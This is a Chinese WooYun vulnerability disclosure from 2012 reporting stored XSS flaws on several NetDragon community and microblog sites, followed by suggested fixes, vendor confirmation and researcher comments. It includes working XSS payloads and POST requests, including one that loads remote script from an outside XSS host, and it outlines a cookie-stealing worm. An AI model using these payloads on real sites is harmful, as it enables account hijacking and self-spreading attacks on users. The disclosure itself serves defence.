当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08413

漏洞标题:福建网龙旗下多站存储型Xss礼包

相关厂商:福建网龙

漏洞作者: gainover

提交时间:2012-06-18 00:21

修复时间:2012-08-02 00:22

公开时间:2012-08-02 00:22

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-18: 细节已通知厂商并且等待厂商处理中
2012-06-18: 厂商已经确认,细节仅向厂商公开
2012-06-28: 细节向核心白帽子及相关领域专家公开
2012-07-08: 细节向普通白帽子公开
2012-07-18: 细节向实习白帽子公开
2012-08-02: 细节向公众公开

简要描述:

看大家都在发网龙的,什么SQL注入啊,CSRF,我也来凑凑热闹,昨天晚上去翻了翻网龙的XSS,就看了2个社区类型的站,其它站的Xss估计意义也不大。 明天网龙要上班了,我就今天晚上发一发~~
几个XSS寻找难度不大,可以为寻找存储型Xss的新手当教程啦。

详细说明:

1. 首先是论坛的, 我测试了论坛发帖里的的图片功能。
首先是正常发送一个图片后,F12打开调试工具,找到刚发的图片。
<img class="scrollLoading" onclick="sjBBS.showImage.show(this);" href="http://p1.91huo.cn/newbbs91/2012/05/31/1338433258596.jpg" src="http://p1.91huo.cn/newbbs91/2012/05/31/1338433258596.jpg">
可以看到当点击图片的时候,调用了sjBBS.showImage.show
查看 sjBBS.showImage.show 的代码:

var $this = $(obj),
....
src = $this.attr('src');
....
var con = "<img src='"+ src +"' width='"+ sw +"' />"


因而,如果我们构造src为 http://image_server/2012/06/16/1339856778551.png#'onload='alert(/ok/);//aa.png
就会变成
<img src='http://image_server/2012/06/16/1339856778551.png#'onload='alert(/ok/);//aa.png' width='100' />
这个时候onload里的代码就会被执行了。
根据以上原理,我们可以发送以下数据。
POST http://bbs.91.com/modify/42/124/4fc6df44153b79013/p4fdc979dc7930c
------WebKitFormBoundaryTPxWRJUHf4rt3qZa
Content-Disposition: form-data; name="wysiwyg"
1
------WebKitFormBoundaryTPxWRJUHf4rt3qZa
Content-Disposition: form-data; name="post_body"
[img]http://image_server/2012/06/16/1339856778551.png#'onload='alert(/ok/);//aa.png[/img]
------WebKitFormBoundaryTPxWRJUHf4rt3qZa
Content-Disposition: form-data; name="ubb"
on
------WebKitFormBoundaryTPxWRJUHf4rt3qZa--
如果我们把图片上的文字弄为:
点此看美女!!!!!!!!!!!
当用户点击的时候,就会中招啦!!
如图:


--------------------------------------------------
2 . 社区个人资料处存储型Xss,可用作Xss 后门,
每次用户查看自己用户资料的时候(即进入http://t.91.com/member/UserSettings/的时候),
都会执行我们的JS代码,或者JS文件。
由于该后门是t.91.com 域名下的, 可以结合后面所提到的 t.91.com的类微博功能一起。
这里我就不多介绍了。 缺陷如下: 对uniquename做了过滤,但是没有对nickname过滤。
至于下面的email, mobile等值,是否过滤了,我没去看,如果没过滤,请一起过滤!
http://t.91.com/member/Ajax_Profile
uniquename bdhxxxxxxxxyyy
old_uniquename 游客293464167221304
nickname aaaavv"><img src=1 onerror=alert(1)><
nickname_hidden 游客293464167221304
realname 李明
sex 0
birth_year 0
birth_month 0
birth_day 1
birthprovince 0
birthcity 0
resideprovince 510000
residecity 510100
resideprovince_hidden 四川省
residecity_hidden 成都市
email
mobile
homepage
interest
introduction
漏洞效果,如下图:
每次用户进入个人资料页面,就会触发我们的JS代码,同时,我们可以劫持【保存按钮】,使得每次用户每次修改个人资料的时候,都会带上我们的恶意代码,从而形成长久劫持。


--------------------------------------------------
3. 微博发图片功能 XSS
这个漏洞的原因太简单,也不多说,图片字段upimg,没有过滤双引号。 导致可以直接添加onload属性,运行代码。

POST http://t.91.com/broadcast/add
tid
content aaaaaaaaaaaaaaaa
secret 0
video
upimg http://p2.91huo.cn/t91/broadcast/c7/2d/91/c72d9149f543841f5ce0175f1f96cc1e.small.png"onload="alert(document.cookie);


上面的upimg是我们构造好的参数。
当我们发布一条微博之后,关注我们的用户,将会被XSS, 这个可以做成蠕虫。
即: 看到这条微博的用户,将会自动发送一条带有XSS的微博信息,几何级传播,会在整个t.qq.com迅速蔓延。


打开调试工具,看看我们注入的代码。


--------------------------------------------------
4. 微博发链接功能Xss
还是微博的,链接处,经过精心构造,一样可以执行我们的恶意JS代码,造成微博蠕虫。
缺陷如下: [url:地址]XXXX[/url] 这个UBB标签在输出时,存在问题,导致XSS。

http://t.91.com/broadcast/add
tid
content #null#[url:http://www.baidu.com&lt;img/src=&quot;1&quot;onerror=&quot;alert&#x28;/xxxxxx/)&quot;&gt;]aaaaaaaa[/url]
secret 0
video
upimg


这样遇到一个有点意思的情况。
A. 代码里,不能出现() ,
B. 如果我们用,&#28; &#29; 来表示()的时候, &#28; &#29; 里的 #...# 会被认为是微博话题,#话题# ...
因而这里我用 &#x28;..) 来绕过这个限制。
将content构造为以下的代码

#null#[url:http://www.baidu.com&lt;img/src=&quot;1&quot;onerror=&quot;jQuery.getScript&#x28;'//xsst.sinaapp.com/m.js')&quot;&gt;]aaaaaaaa



同样打开调试工具,查看


漏洞证明:

见详细说明就行。

修复方案:

1. 第一处Xss,修改sjBBS.showImage.show函数。
将var con = "<img src='"+ src +"' width='"+ sw +"' />"
修改为

function filterfunc(str){
return str.replace(/&/g,"&amp;").replace(/'/g,"&#x27;").replace(/\\/g,"&#x5c;");
}
var con = "<img src='"+ filterfunc(src) +"' width='"+ sw +"' />";


2. 这一处是常规的输入输出,输出nickname时过滤 <>, 个人资料里如果其它字段未过滤,同理。
3. 过滤upimg里的",>,\,等符号,将&替换为 &amp;
4. 这个我只是加入测试内容后,根据输出来构造利用代码的,不知道你们服务器端是个什么处理逻辑。。乱乱的,看着办吧!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-06-18 10:19

厂商回复:

感谢gainover提交的漏洞

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-18 00:43 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    网龙有个反射试xss有意思,插进去后其它二级域同样能触发

  2. 2012-06-18 00:50 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover 你只要发一个,我也得跟着发一个。让俺休息几天啊。

  3. 2012-06-18 01:58 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @Xhm1n9 因为设置了document.domain了吧。。

  4. 2012-06-18 01:58 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker = = 我是跟随你们的脚步。。。看到你们都这么爱网龙。

  5. 2012-06-18 08:25 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    @gainover 是的,在被插入代码页面的链接里直接点二级域的链接就能看到效果

  6. 2012-06-18 10:21 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    为啥网龙 这么火 干啥的呀 呵呵

  7. 2012-06-18 10:44 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    据说刚才有台dns挂了

  8. 2012-06-18 12:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @zeracker 当第二压力原来也这么大、、

  9. 2012-06-18 22:10 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    网龙喜欢XSS胜过CSRF...